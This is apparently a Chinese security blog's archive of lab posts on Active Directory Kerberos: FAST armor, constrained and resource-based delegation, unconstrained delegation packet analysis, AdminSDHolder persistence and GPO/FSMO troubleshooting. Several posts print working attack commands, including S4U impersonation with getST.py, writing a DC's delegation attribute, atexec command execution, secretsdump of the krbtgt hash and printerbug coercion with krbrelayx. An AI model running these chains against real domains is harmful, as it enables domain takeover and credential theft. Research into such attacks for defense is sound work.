我吃你家米了 - 内网安全

Kerberos--FAST armor

2022-09-29T00:00:00+02:00

references:

简介

提前国庆快乐

炒冷饭，都是别人研究的，我就在这做个笔记

这里的FAST并不是字面意义的fast，而是Flexible Authentication Secure Tunneling的首字母缩写，它的出现主要是为了解决域内用户密码被离线破解的问题，该技术在windows server 2012 R2引入

大家可能都听说过kerberoasting，这个技术主要用于离线爆破服务账户的明文密码，以及asrep-roast，用于离线爆破未开启pre-auth认证的普通用于的明文密码

这两种爆破都基于同一个事实：数据包被用户密码派生出来的哈希加密，并且我们可以控制加密算法为最弱的RC4

对于计算机账户，就不存在这种问题，因为计算机账户的明文密码是很长的一串随机字符串，且复杂度极高，这是我的测试环境中的机器账户的明文密码：

可以看到，相当的复杂，离线爆破是不可能的，就算你真的爆出来了，密码也已经失效了，机器账户默认情况下一个月自动更新一次密码

而启用了FAST之后，在进行kerberos认证的时候，会先使用机器账户从DC获取一个key，使用这个key来保护用户认证阶段的数据，这样即使离线爆破，获得的也只是这个short-term key，更何况你还不一定爆的出来，这种key长度一般都很长

这个特性被称作 FAST armor，顾名思义，它给kerberos的AS（TGS票据申请）阶段装了一层盔甲，不过它只保护用户的AS-REQ，不保护机器账户的AS-REQ，因为它本质上是使用机器账户的TGT去保护用户的TGT获取过程

启用FAST

通过组策略启用

对于域控制器：

对于工作站和成员服务器：

在启用之后，可以使用rubeus检测以下效果：

rubeus.exe asktgt /user:nmd /password:qwe123... /domain:cao.ni.ma /dc:WIN-BTAP0QG1S13.cao.ni.ma /outfile:1.kirbi

如果返回了这个错误，说明配置成功

协议分析

wireshark数据包文件：pcapng

由于rubeus和impacket都不支持kRB5-PADATA-FX-FAST (136)的解密和解析，所以大家就自己看看这个数据包的大致流程就行了，具体细节就不讲了

如果你想要自己测试，需要先清除当前机器账户的票据

新的攻击思路

FAST armor的设计初衷是缓解kerberoasting以及asrep-roast，在启用了FAST之后，这两种攻击方式都会失效，对于前者，因为必须要先获取到一个机器账户的TGT，才能进行TGT或ST的请求，导致攻击无法执行；对于后者，不包含preauth数据的AS-REQ会被KDC拒掉

可以看到，在GetTGT的时候失败了，报错显示KDC的策略拒绝掉了我们的请求

但是按照FAST的设计，计算机账户在申请TGT的时候并不会被保护

exploitph提出了一个想法，能否利用机器账户通过AS-REQ来请求ST，按照设计，AS-REQ是用于请求TGT的，但是如果我们把sname-string由krbtgt/cao.ni.ma改成一个合法的SPN会发生什么事情呢？

对impacket中的相关文件进行修改之后，使用机器账户申请TGT票据

可以看到，正常返回了ldap服务票据

使用_nwodtuhs的describeTicket.py查看该票据：

这样一来，asrep-roast的路被堵死了，但是kerberoasting never die!

exploitph把这个问题提交给了MSFT，那边的回复是经典的by design!

_nwodtuhs针对这个问题对impacket进行了一些修改，提交了一个PR，需要的可以看一下

Kerberos基于资源的约束委派

2022-03-02T00:00:00+01:00

references：

ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity attribute

约定:

RBCD：Resource Based Constrained Delegation——基于资源的约束委派
ataob2oi：msDS-AllowedToActOnBehalfOfOtherIdentity
S4U请求：如果没有特殊说明，那么指的就是S4U2self和S4U2proxy这两个请求

0x1 简介

RBCD在Windows 2012才引入，08是没有这个概念的

RBCD和之前介绍的约束委派的区别就是，约束是在资源服务器上进行配置的，传统的约束委派中，资源服务器只能被动的接受委派，是否能够委派到资源服务器由委派服务器进行控制

RBCD可以通过msDS-AllowedToActOnBehalfOfOtherIdentity属性来控制委派服务器是否能够委派任意用户来访问自己

这个属性的值是一个DACL，里面可以包含多个ACE，关于ACL相关知识，请移步这里

如下所示，S-1-5-21-3462766619-4007284874-984777186-1106是我们控制的账户的objectSid

RBCD是可玩性最高的一种委派，你可以利用它来做很多事情，我们会在下面慢慢介绍

0x2 RBCD的缺陷

在测试过程中，我发现即使是一个不具有任何委派权限的机器账户，只要在ataob2oi属性的ACL中，就可以正常进行S4U

当前的计算机账户new_cp_user_1的委派配置如下

正常来讲，使用该账户进行S4U请求，在S4Uself阶段返回的TGS票据是没有forwardable标志位的，因此会导致无法成功发起S4U2proxy请求，但是事实情况是下面这样的：

使用修改过的getST.py执行S4U2self请求，获取到第一阶段的TGS票据

python3 getST.py mother.fucker/new_cp_user_1$ -hashes :8dd1a8983ac3126f6f85a8713b757608 -impersonate Administrator -dc-ip 192.168.25.133 -self

使用describeTicket.py查看票据信息，可以看到，返回的票据中并没有forwardable标志位

我们使用该TGS票据执行S4U2proxy请求

python3 getST.py mother.fucker/new_cp_user_1$ -hashes :8dd1a8983ac3126f6f85a8713b757608 -impersonate Administrator -spn cifs/WIN-BTAP0QG1S13.mother.fucker -dc-ip 192.168.25.133 -additional-ticket Administrator@new_cp_user_1$@MOTHER.FUCKER.ccache

成功获取到TGS票据

使用该票据访问目标服务器文件系统：

当然，我并不是第一个发现这个问题的人，在Elad Shamir的文章Wagging the Dog中，他提到了这个问题，并且汇报给了微软，不过官方并不会修复这个问题，而是被认为是一种特性，就和之前提到的SPN任意更改问题一样

0x3 使用RBCD获取机器权限

只要我们对目标机器的ataob2oi属性有写入权限，那么我们就可以直接获取该机器的权限

首先我们需要创建一个机器账户或者给自己控制的普通用户注册一个SPN，这里我们选择创建机器账户

create_machine_account.ps1

powershell -executionpolicy bypass -command "& { import-module C:\Users\x\create_machine_account.ps1; New-machineaccount -domain mother.fucker -domaincontroller 192.168.64.139 -ldapuser Administrator -ldappass qwe123... -machineaccount user2 }"

将我们控制的用户写入域控制器机器账户的ataob2oi属性中

写入前：

rbcd_attack.py

C:\Users\x>py3 rbcd_attack.py -base dc=mother,dc=fucker -add -ip 192.168.64.139 -user Administrator@mother.fucker -passwd qwe123... -samdest dc$ -samsrc user2$
[*] object sid: S-1-5-21-1703014284-2335082847-473038621-1107
[*] target dn: CN=DC,OU=Domain Controllers,DC=mother,DC=fucker
[+] attribute modify success, long live the king!!!

写入后：

使用getST.py冒充任意可委派的用户申请针对DC的票据

C:\Users\x>py3 getST.py -spn cifs/dc.mother.fucker -dc-ip 192.168.64.139 -impersonate Administrator mother.fucker/user2$:q3etsSEDF.
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_dc.mother.fucker@MOTHER.FUCKER.ccache

执行命令：

set KRB5CCNAME=C:\Users\x\Administrator@cifs_dc.mother.fucker@MOTHER.FUCKER.ccache
py3 atexec.py -k -no-pass -dc-ip 192.168.64.139 mother.fucker/Administrator@dc.mother.fucker whoami

如果是域控制器，那么可以使用该票据获取域内任意用户hash

set KRB5CCNAME=C:\Users\x\Administrator@cifs_dc.mother.fucker@MOTHER.FUCKER.ccache
py3 secretsdump.py -k -no-pass -target-ip 192.168.64.139 -dc-ip 192.168.64.139 mother.fucker/Administrator@dc.mother.fucker -just-dc -just-dc-user krbtgt

这种方式可用于持久化

Kerberos约束委派及利用

2022-02-27T00:00:00+01:00

references:

约定:

DS服务器：Delegation Server——委派服务器
OB用户：on behalf user——被委派的用户
RS服务器：Resource Server——资源服务器

0x1 简介

在之前的文章中，我们介绍了Kerberos非约束委派及利用方式，那么在这篇文章中，我将会介绍Windows AD环境中Kerberos协议的约束委派

约束委派中的约束二字具体体现在下图中：

也就是说，我们可以限制DS服务器所能够访问到的服务

比如上图中，DS服务器ds-server只能够访问到RS服务器WIN-JTPO01EANAQ的time服务

你或许注意到了，上图中有两个选项，一个仅可以使用Kerberos，另一个可以使用任何身份验证协议

这两个选项分别对应微软为Kerberos协议开发的两个拓展：

S4U2proxy
S4U2self

其中第二个拓展提供了一个叫做Protocol Transition（协议转换）的特性

也就是说，不管客户端使用何种认证协议认证到DS服务器，都能够使用该用户的身份通过DS服务器来访问RS服务器

大致过程如下:

OB用户使用NTLM（或者其他的身份认证协议）认证到DS服务器
DS服务器代表OB用户向KDC请求一个针对自身的TGS票据（OB@DS$@domain.name），这个过程叫做S4U2self
DS服务器使用上一步获取的TGS票据向KDC请求一个针对RS服务器的TGS票据（OB@time/RS@domain.name），这个过程叫做S4U2proxy，time是我们在上图中指定的服务类型

下面我们就进行抓包分析，以便更好地理解这两个扩展

0x2 抓包

我们在配置好ds-server服务器的委派设置之后，使用impacket中的examples脚本中的getST.py来进行演示

执行如下命令执行完整的S4U请求（先执行S4U2self请求，然后执行S4U2proxy请求）

python3 getST.py mother.fucker/ds-server$ -hashes :061c54f1f5311e1f47958465e16bab65 -impersonate Administrator -spn time/WIN-JTPO01EANAQ.mother.fucker -dc-ip 192.168.64.128

wireshark过滤条件直接写tcp.port==88即可

0x2.1 S4U2self

0x2.1.1 DS服务器获取TGT票据

在实际的S4U过程中，这一步是在DS服务器开机之后就完成的，但是由于我们是使用工具模拟请求，所以需要先获取到DS服务器的TGT票据

这也是为什么我们在上面的命令中需要使用ds-server$账户的hash

该过程在Kerberos协议分析一文中已经讲解过，在此不再赘述

0x2.1.2 DS服务器代表OB用户获取针对自己的TGS票据

TGS-REQ：

小标题中的针对自己的TGS票据意思就是在请求的票据中不包含服务类型，而只有DS服务器的机器账户名称

可以看到，在该TGS请求中，提交的是DS服务器自己的TGT票据，我们可以使用解密工具解密authenticator字段来证明

另外一个重要的字段就是PA-DATA，类型为pA-FOR-USER

下面是微软[MS-SFU]文档中对PA-FOR-USER的描述

上图中最后给出了该字段的结构，其中cksum为userName、userRealm和auth-package的校验和

校验和的计算需要TGT session key，userName就是OB用户

因此我们完全有能力自行构造PA-FOR-USER字段

你会发现，我们居然不需要OB用户的任何凭据信息就可以对其进行委派，只需要知道OB用户所在的域名和其samAccountName即可

TGS-REP：

可以看到，该票据的所有者是Administrator，也就是OB用户，我们可以通过解密ticket.enc-part来进一步确认

0x2.2 S4U2proxy

0x2.2.1 DS服务器代表OB用户获取针对RS服务器的TGS票据

TGS-REQ：

从上图中可以看到DS服务器拿着自己的TGT票据，以及在req-body中的additional-tickets向KDC申请time/WIN-JTPO01EANAQ.mother.fucker票据

additional-tickets就是在S4U2self阶段获取到的针对DS服务器自身的TGS票据

TGS-REP：

该票据就是颁发给Administrator用户的，我们可以通过解密ticket.enc-part来进一步确认该票据的所有者

至此，整个约束委派过程就完成，我们获取到了用于访问RS服务器WIN-JTPO01EANAQ.mother.fucker的time服务的票据

0x3 拓展

0x3.1 TGS票据中SPN服务类型可以任意修改

票据通过TGS-REP从KDC返回给客户端，也就是其中的ticket字段，该字段中有一个enc-part，是使用目标服务的账户哈希进行加密的，我们可以看一下该字段解密后的结构：

其中没有任何一个字段与SPN有关，也就是说，即便我们修改了SPN的服务类型，也不会导致票据失效

而且事实的确如此，就算将我们上面获取到的票据中SPN的服务类型由time改为cifs，也依然可以正常使用

可以使用这个修改过的getST.py在获取TGS票据的同时对服务类型进行修改，只需要将执行的命令改成下面即可：

python3 getST.py mother.fucker/ds-server$ -impersonate Administrator -spn time/WIN-JTPO01EANAQ.mother.fucker -altservice cifs -dc-ip 192.168.64.128 -aesKey 63b97c1cc1e372a0622452fad91adfb50ac06961e470a1ea1d508ac607f42239

使用获取到的cifs票据访问目标服务器文件系统

注意：只有运行在同一个服务账户下的服务才可以互相更改，比如time服务运行在example_service_user账户下，那么就算你改成了cifs服务，也你无法访问服务器的文件系统，因为cifs服务并不是由example_service_user账户运行的，一般由计算机账户运行

0x3.2 user account control

回到文中的第一张图

如果我们选择了使用任何身份验证协议，那么我们的DS服务器账户的useraccountcontrol属性的值为0x1001000

对照[MS-ADTS]中对userAccountControl Bits的描述：

0000 0001 0000 0000 0001 0000 0000 0000

第7位和第19位两个比特位启用，两者分别对应TA和WT

TA代表ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION，启用了该bit位的账户可以代表其他用户通过S4U2self请求获取到一个针对自己的TGS票据，且该票据拥有forwardable标志位（可转发），如果票据不可转发，那么S4U2proxy请求将会失败

WT标志位表示该账户是机器账户

我们可以尝试将ds-server账户userAccountControl属性的TA标志位取消掉（将其值设置为4096），然后再执行S4U2self，查看返回的票据是否具有forwardable标志位

python3 getST.py mother.fucker/ds-server$ -impersonate Administrator -self -dc-ip 192.168.64.128 -aesKey 63b97c1cc1e372a0622452fad91adfb50ac06961e470a1ea1d508ac607f42239

使用describeTicket.py脚本查看票据的详细信息

python3 describeTicket.py -u ds-server$ -d mother.fucker --aes 63b97c1cc1e372a0622452fad91adfb50ac06961e470a1ea1d508ac607f42239 C:\Users\x\Downloads\tmp\Administrator@ds-server$@MOTHER.FUCKER.ccache

可以看到S4U2self请求返回的票据并不带有forwardable标志位

那么下一步的S4U2proxy请求就回应为additional-ticket中的票据无法被转发而失败：

另外，我们可以看到ds-server的委派配置变成了下面这样：

这是因为我们前面更改userAccountControl属性，取消了TA标志位

也就是说没有TA标志位的委派服务器执行S4U2self请求是没有意义的（在某些特殊的攻击场景下会有用），因为返回的票据并不能用于S4U2proxy

该选项相较于上面的使用任何身份验证协议更加安全，因为我们需要先使用OB用户的凭据来获取一个针对DS服务器的票据，然后才可以执行S4U2proxy来获取针对RS服务器的票据，这样就大大增加了攻击难度

0x4 利用

可以使用csvde搜索域内所有msDS-AllowedToDelegateTo属性不为空的账户：

csvde -s 192.168.64.128 -b Administrator mother.fucker qwe123... -d "dc=mother,dc=fucker" -r (msds-AllowedToDelegateTo=*/*) -l dn,sAMAccountName,msds-AllowedToDelegateTo,userAccountControl -m -f res.csv -u

然后我们需要通过userAccountControl的值确认是否启用了TA标志位，执行下面的Python代码即可：

print(True if (uac值 & (1<<24)) == (1<<24) else False)

由于TA为第7位（从0开始），因此可以通过和左移24位的1进行与运算来判断该bit位是否启用

如果TA比特位启用，且可以委派到指定服务器，那么一旦我们获得了该委派服务账户的凭据，我们就可以冒充任意账户去获取指定服务器的票据

python3 getST.py mother.fucker/ds-server$ -hashes :061c54f1f5311e1f47958465e16bab65 -impersonate Administrator -spn time/WIN-JTPO01EANAQ.mother.fucker -altservice cifs -dc-ip 192.168.64.128

因此，这个利用难度还是比较高的，后面我们将会介绍Kerberos基于资源的约束委派，在这种类型的约束委派中，S4U2self和S4U2proxy将会起到非常重要的作用

0x5 结语

没什么新的内容，都是网上能找得到的东西，这里不过是炒炒冷饭而已，权当笔记

如有不足之处，欢迎师傅们指点

Kerberos非约束委派数据包分析

2022-02-06T00:00:00+01:00

references:

0x1 前言

约定：

c-d-skey表示client与dc（kdc）TGS阶段用于加密通信的session key
c-s-skey表示client与应用服务器（Application Server）在AP阶段用于加密通信的session key

之前我们介绍过Windows AD中非约束委派的利用过程和原理，但是并没有去真正抓包分析过

我们都知道仅仅拥有TGT票据而没有c-d-skey是没办法创建合法的authenticator的，也就无法构造出合法的TGS-REQ来申请服务票据

那么在非约束委派攻击中，我们的恶意服务器是如何收到c-d-skey的呢？下面我们就来抓包分析一下

0x2 攻击流程

这里再稍微提一下整个的攻击流程

域内的用户A在访问由非约束委派账户B运行的服务S
向KDC请求服务票据
KDC在判断要请求的服务S为非约束委派账户B运行的服务之后会向用户A返回带有用户A的TGT的票据
该票据由服务账户也就是非约束委派账户B的hash进行加密
用户A向其请求的服务器发送带有其TGT的服务票据
服务器拿到后使用服务账户B解密即可获得用户A的TGT

可以看到，在上面的攻击流程中，只提到恶意服务器解密数据包之后获得TGT，但是并没有说如何获取c-d-skey

以下是具体的抓包分析过程

环境搭建参考我之前的文章

0x3 抓包

搭建好环境之后，启动krbrelayx

python krbrelayx.py -p "qwe123..." -s MOTHER.FUCKERohyeah

你可以直接在windows上运行这个脚本，禁用445端口的方法参考这里

然后使用printerbug触发目标服务器回连

python printerbug.py MOTHER.FUCKER/ohyeah:"qwe123..."@192.168.216.133 whatthefuck.mother.fucker

wireshark使用tcp.port==445过滤条件抓包

和之前的一样，krb数据包封装在SPNEGO数据包中

ticket为目标服务器先前缓存的cifs/whatthefuck.mother.fucker票据

这个票据是目标服务器在向我们的恶意服务器发起请求之前向KDC申请的，因此我们这里的wireshark抓包是看不到这一过程的

不过并不影响我们分析非约束委派攻击过程中的数据包

在本例中，恶意服务器能够解密目标服务器发送过来的ticket（由我们控制的账户hash加密），从而获取到用于解密authenticator字段的session key（c-s-skey）

获取到c-s-skey之后，解密authenticator字段

我们中点关注cksum字段

根据RFC 4121中4.1.1. Authenticator Checksum章节中的描述

cksum结构如下

可以看到flags字段中Deleg标志位是启用的，表明需要将凭据信息委派给远程主机

在启用了委派的情况下，TGT票据需要封装在KRB_CRED消息中

KRB_CRED消息是专门设计用来发送Kerberos凭据信息的，它里面封装的是票据以及加密的session key（c-d-skey）

下面是KRB_CRED消息以及解密后的enc-part字段

从ticket字段中的sname字段也可以看出来该票据是TGT票据

enc-part字段中包含c-d-skey，就是KrbCredInfo中的key字段

现在我们既拥有了WIN-37U50GQO8KT$账户的TGT票据，又拥有c-d-skey，就可以冒充该用户申请任意服务票据了

0x4 结语

有时候很多看起来想当然的问题，如果你深究一下，就会发掘出更多隐藏的细节

上面说了那么多，无非就是想说单独一个Kerberos票据并没有太大的作用（除了用来爆破——Kerberoasting）

只有有了对应的session key才能真正地将票据利用起来

Kerberos协议分析

2022-02-05T00:00:00+01:00

references:

https://syfuhs.net/a-bit-about-kerberos

0x1 前言

Kerberos本意为希腊神话中看守冥界之门的拥有三只头的恶犬，如下：

noborderfuckbiasdfjiab135twriabiajisadguiasgfastfyouasguidagsajdga

Kerberos协议在Windows AD安全领域中占据着举足轻重的地位，因此对Kerberos协议有一个相对透彻的理解还是很有必要的

这篇文章会通过Wireshark对Windows AD中Kerberos的一般通信过程进行详细的分析

0x2 概述

约定：

c-d-skey表示client与dc（kdc）TGS阶段用于加密通信的session key
c-s-skey表示client与应用服务器（Application Server）在AP阶段用于加密通信的session key

0x2.1 AS阶段

AS意为Authentication Service（认证服务）

client向kdc发送AS-REQ（不包含pre-auth）
kdc返回KRB-ERR，要求客户端发送pre-auth
client向kdc发送包含pre-auth（使用client密码hash加密的时间戳）的AS-REQ
kdc验证用户身份（解密时间戳，验证时间是否为最近的时间）
kdc向client返回AS-REP，其中包含tgt票据以及session key（c-d-skey）
tgt票据加密部分使用krbtgt账户hash进行加密，enc-part字段使用client密码hash进行加密，其中包含有c-d-skey
client使用自己的密码hash解密enc-part获得c-d-skey，然后将c-d-skey和tgt票据缓存起来，以备后用

0x2.2 TGS阶段

TGS意为Ticket Grant Service（票据颁发服务）

client使用c-d-skey生成加密的authentictor字段并和tgt一起提交给KDC，该数据包为TGS-REQ，其中req-body字段中包含目标服务的spn
kdc解密tgt，获取c-d-skey，使用c-d-skey解密authenticator，验证client身份
根据client的请求颁发相应的服务票据，生成TGS-REP数据包返回给client
TGS-REP中包含服务票据以及enc-part，enc-part由c-d-skey进行加密，里面包含c-s-skey，票据的enc-part使用应用服务器的服务账户hash进行加密
client解密TGS-REP后将服务票据和c-s-skey缓存起来，以备后用

0x2.3 AP阶段

AP意为Application Service（应用服务）

client向目标服务器server发送AP-REQ数据包，其中包含服务票据以及一个用于验证自己身份的authenticator
此authenticator字段使用c-s-skey进行加密
server收到AP-REQ之后，使用自己的服务账户hash解密票据，从中获得c-s-skey，使用c-s-skey解密authenticator从而验证客户端身份

至此，kerberos完成，client和server开始加密通信

0x3 抓包分析

下面是具体的抓包分析，里面的字段可能和上面的概述有出入，但不影响理解Kerbero协议通信过程

我们这里以Rubeus和smbclient.py为例，请求目标服务器的cifs服务，示例用户为MOTHER.FUCKER\Administrator

首先生成keytab文件，并应用到wireshark的KRB5协议中

ktpass -out Administrator.keytab -princ Administrator@MOTHER.FUCKER -mapUser Administrator@MOTHER.FUCKER -pass qwe123... -crypto all -ptype KRB5_NT_PRINCIPAL

0x3.1 AS阶段

这里我们使用Rubeus直接请求TGT票据

Rubeus.exe asktgt /user:Administrator /password:qwe123... /domain:MOTHER.FUCKER /dc:192.168.216.131  /outfile:123.kirbi /opsec /force

0x3.1.1 AS-REQ (no pre-auth)

可以看到，在这个AS-REQ数据包中，并没有提供任何认证相关的信息，只是提供了client支持的所有加密类型，用户名MOTHER.FUCKER\Administrator以及client的地址信息（hostname）

0x3.1.2 KRB-ERROR

error-code字段显示错误类型为eRR-PREAUTH-REQUIRED，即要求client提供pre-auth数据

在e-data字段中，第一个PA-DATA——PA-ENCTYPE-INFO2中，kdc提供了自己支持的加密类型

分别是AES256和RC4，其中前者需要盐（MOTHER.FUCKERAdministrator），普通账户的盐值计算方式和计算机账户的盐值计算方式有细微的差别

0x3.1.3 AS-REQ (with pre-auth)

client选定加密类型23（RC4），将当前时间戳加密封装到PA-ENC-TIMESTAMP结构中

在req-body中指定票据申请者（MOTHER.FUCKER\Administrator）和要申请的票据（krbtgt@MOTHER.FUCKER）

0x3.1.4 AS-REP

ticket字段自不必说，就是TGT票据

enc-part由client的密码哈希加密，解密后的内容中最重要的就是key字段，也就是c-d-skey，其中包含密钥类型和密钥值

有了c-d-skey之后，就能进行下一阶段的通信了

0x3.2 TGS阶段

使用Rubeus利用AS阶段获取到的TGT票据缓存请求CIFS服务票据

Rubeus.exe asktgs /ticket:123.kirbi /service:CIFS/WIN-37U50GQO8KT.MOTHER.FUCKER /dc:192.168.216.131 /outfile:321.kirbi

0x3.2.1 TGS-REQ

TGT票据以及认证数据authenticator都在padata字段中——PA-TGS-REQ

TGT票据就是AS阶段返回的票据，原封不动放在这里

authenticator字段为使用c-d-skey加密的数据，解密如下：

可以看到authenticator字段中包含了票据申请者MOTHER.FUCKER\Administrator，这个必须要和TGT票据中的用户是一致的，不然会导致认证失败，同时也是为了防止冒充用户

req-body中主要的字段就是sname，指定了申请的票据的SPNCIFS/WIN-37U50GQO8KT.MOTHER.FUCKER

0x3.2.2 TGS-REP

返回一个CIFS票据和enc-part

enc-part字段由c-d-skey加密，解密后内容如下：

最重要的字段依然是key（c-s-skey），有了这个key，就可以构造AP-REP数据包，向Server进行认证

0x3.3 AP阶段

python smbclient.py MOTHER.FUCKER/Administrator@WIN-37U50GQO8KT.MOTHER.FUCKER -k -no-pass -target-ip 192.168.216.131 -dc-ip 192.168.216.131

对impacket的文件进行了修改，将impacket\smbconnection.py的第314行修改为：

ccache = CCache.loadFile(r"C:\Users\x\1.ccache")

其中C:\Users\x\1.ccache是经过ticketConvert.py转换过的ccache格式的票据缓存

0x3.3.1 AP-REQ

这个数据包是在445端口捕获的，kerberos协议的ap-req被封装在SPNEGO数据包中

你可以将SPNEGO理解为一个用于将应用协议和认证协议分离开来的一种协议

在本例中，SPNEGO将smb协议和kerberos协议分离开来

在ap-req中，ticket字段为TGS阶段获取的票据，原封不动放在这里

authenticator中包含客户端身份信息，使用c-s-skey加密

0x3.3.2 AP-REP

在本例中，并不存在AP-REP数据包，只是在SPNEGO中返回了accept-completed代码，表示smb会话建立成功

在实际应用中，AP-REP只有在client在AP-REQ的authenticator字段提供了sub-key时候才会被返回，表明是否采用client提供的sub-key，或者向client返回自己选择的sub-key，用于后续的通信加密

0x4 结语

如果有不对的地方，希望能指出来，谢谢

今天是大年初五——破五，你们都吃饺子了吗？

AdminSDHolder

2021-10-21T00:00:00+02:00

references：

前言

本文介绍一种Windows Active Directory持久化方式，这个手法很早以前就有了，在此记录一下

AdminSDHolder

AdminSDHolder是AD中的一个对象，它位于cn=AdminSDHolder,cn=System,DC=domain,dc=name

该对象的作用是保证受保护对象的ACL不会被篡改

这个所谓受保护的对象，是硬编码到二进制文件中的，也就是说，当你的AD域创建完成后，受保护的对象就确定下来了

下面有一张表格描述了微软的各个版本的Server中默认的受保护对象（用户组和账户）

那么它是如何保护这些对象的ACL不被篡改呢？

SD Propagation（安全描述符传播）

biaojigaoliang1持有PDC FSMO角色的DCbiaojigaoliang2默认情况下每隔1小时会执行一次SD Propagation任务，此任务的大致行为就是将所有受保护对象的ACL和AdminSDHolder的ACL进行对比，如果两者有差异，就是用AdminSDHolder的ACL覆盖掉受保护对象的ACL

下图为AdminSDHolder默认的ACL：

Domain Admins组作为受保护的对象，其ACL应该和AdminSDHolder保持一致

我们对AdminSDHolder的ACL稍微作一下修改以便更直观地理解AdminSDHolder的工作机制

我们向AdminSDHolder的ACL中添加一个用户，并赋予它特殊权限

等待PDC的下一次SD Propagation任务完成之后，我们再观察一下Domain Admins用户组的ACL是否发生了改变

可以看到，sdtest用户此时已经拥有了对Domain Admins的特殊权限

利用

通过上面的解释，我们可以通过修改AdminSDHolder的ACL来达到控制Domain Admins用户组的目的

biaojigaoliang1上面我们只赋予了sdtest用户特殊权限，如果我们给该用户赋予写入权限，那么等下一次SD Propagation完成之后，sdtest用户将拥有修改Domain Admins组成员的权限biaojigaoliang2

但是默认一个小时才进行ACL的检查与覆盖，貌似有点太久了，有没有方法可以强制进行SD Propagation呢？

答案是肯定的

根据微软的官方文档，使用LDAP（rootDSE，DN为空）连接到持有PDC FSMO角色的DC上，然后修改runProtectAdminGroupsTask属性的值为1，即可触发SD propagation

对于Windows 2008 R2及以上的版本，使用上图所示方法即可

根据文档，早于Windows 2008 R2的版本需要通过修改fixupInheritance属性来触发SD propagation，参考下图所示方法

后记

上面提到的操作都是基于GUI的，最后肯定要武器化为命令行工具，这一部分的实现不方便放出来，XDM自行摸索吧，也不难

上面触发SD Propagation的工具，可以在此处下载

从创建GPO到FSMO再到Kerberos解密

2021-09-30T00:00:00+02:00

国庆快乐！！！

references:

前言

AD域内横向方式千千万，创建GPO算一个，但是这篇文章的主题并不是如何创建GPO，而是由创建GPO所引发的一系列问题

正文

在域内，我们用于横向的工具有很多，但是大部分工具在执行命令时的身份都是NT Authority\System，比如impacket工具包中的atexec.py

在本文中，当使用atexec创建GPO时，会出现如下报错

从报错来看，我们遇到了认证错误，biaojigaoliang1可是这条创建GPO的命令是使用atexec.py在DC上使用域管的凭证运行的biaojigaoliang2，为什么还会出现认证错误呢？

这时候就需要通过审计Windows的安全日志来排查错误了，我的测试环境是两台DC，在运行命令的这台DC上我并没有发现什么可疑的登录记录，但是在另一台DC的安全日志上，我发现了下面这条日志：

192.168.46.198是刚才执行创建GPO命令的那台DC的IP，biaojigaoliang1可以看到进行认证的用户是该DC的机器账户WRSD$biaojigaoliang2

那么问题是不是出在这里呢？

biaojigaoliang1System账户在本地的权限固然无限大，它可以读写任意的对象，但是当访问网络资源时，它只是域内的一个机器账户biaojigaoliang2

那么为什么在当前DC上创建GPO需要去访问另一台DC呢？

FSMO

所谓FSMO即Flexible Single Master Operations，灵活单主机操作模式

我们都知道，Windows AD是一个多主机环境，大的企业内网中可能同时存在数十台DC，每个DC都持有一个数据库，那么肯定就牵涉到同步问题，既然有同步那么就肯定会有冲突发生，某些对象的更新冲突可以通过算法来解决，但是有一些特定的对象的更新应该极力避免冲突的产生，GPO对象就是其中一种

biaojigaoliang1这种对象只能够在众多DC中的一台上进行更新，其他DC只能够从该DC同步更新，而不能独自处理该对象的更新biaojigaoliang2

这个就叫做单主机操作模式，它的存在就是为了规避冲突的产生，FSMO角色一共有五种：

Schema master FSMO
Domain naming master FSMO
RID master FSMO
PDC模拟器FSMO
infrastructure master FSMO

每种角色的具体功能XDM自行百度，不再赘述

biaojigaoliang1我们关心的只有PDC模拟器FSMO角色，因为只有持有该角色的DC才能够对GPO进行更新，其他的DC要想对GPO进行更新必须要向该DC发起请求biaojigaoliang2

这也是上面我们执行命令的DC为什么会向另一台DC发起登录请求的原因

可以使用netdom query fsmo命令查询域内的所有FSMO角色

数据包分析

只凭一条日志我们并不能很明确地锁定问题根源，下面我们通过万能的Wireshark来分析一下网络数据包

通过创建计划任务来将用户身份提升为System账户

schtasks /create /tn gpo_create /tr "C:\1.bat" /sc monthly /d 15 /ru System

schtasks /run /tn gpo_create

运行该计划任务后即可在Wireshark中看到数据包

可以看到，并没有获取Kerberos票据的数据包，而是直接使用ldap票据请求了PDC的LDAP服务，并且认证成功了（下面的响应包返回了success）

是不是很郁闷？它哪来的票据？

即使你执行一百遍klist purge来清除本地缓存的票据，你还是抓不到Kerberos数据包

biaojigaoliang1其实原因很简单，klist purge清除的是当前用户的票据，而你需要清除的是计算机账户的票据biaojigaoliang2

你需要的是下面这条命令

klist -li 0x3e7 purge

此时再重新抓包

由于计算机账户的本地票据缓存被清除，再次创建GPO时便会重新向KDC申请票据

Kerberos keytab

此时我们引入keytab文件对Kerberos数据包进行解密

keytab即key table（秘钥表）

众所周知，Kerberos协议的第一个包通常为AS-REQ，这个数据包向KDC证明自己的身份，KDC认证通过后，会通过AS-REP数据包返回session key和tgt ticket，该数据包使用由用户密码生成的key进行加密

而keytab文件中就包含这一个key，有了这个key，Wireshark就可以解密AS-REP数据包中的session key，有了session key便可以对后续的TGS-REQ、AP-REQ数据包中的authenticator字段进行解密，这里对AP-REQ的解密还牵涉到另一个session key，具体细节XDM可以通过流程图自行分析

生成keytab的方法如下：

使用DC自带的ktpass.exe

用户账户

ktpass -out Administrator.keytab -princ Administrator@MOTHER.FUCKER -mapUser Administrator@MOTHER.FUCKER -pass qwe123... -crypto all -ptype KRB5_NT_PRINCIPAL

计算机账户

ktpass -out WIN-55D8GK824HO$.keytab -princ WIN-55D8GK824HO$@MOTHER.FUCKER -mapUser WIN-5D8GK824HO$@mother.fucker -pass "*" -crypto all -ptype KRB5_NT_PRINCIPAL setpass

计算机账户的密码可以通过dump lsass来获取到

最后加了一个setpass选项，不然会导致计算机账户重置，进而引起对应计算机与DC之间的NetLogon安全通道建立失败（计算机账户hash不一致），最后会由于信任关系建立失败而导致无法登录到该计算机

将生成好的keytab文件加载到wireshark进行解密，即可看到所有加密数据的内容

在解密后的authencator字段中可以看到账户名为计算机账户

在解密后的数据包中，我们可以看到计算机账户尝试创建GPO的整个过程（LDAP），最后由于权限不足创建失败

windows ACL、DACL、SACL、ACE

2021-01-07T00:00:00+01:00

参考文章：

https://secureidentity.se/acl-dacl-sacl-and-the-ace/

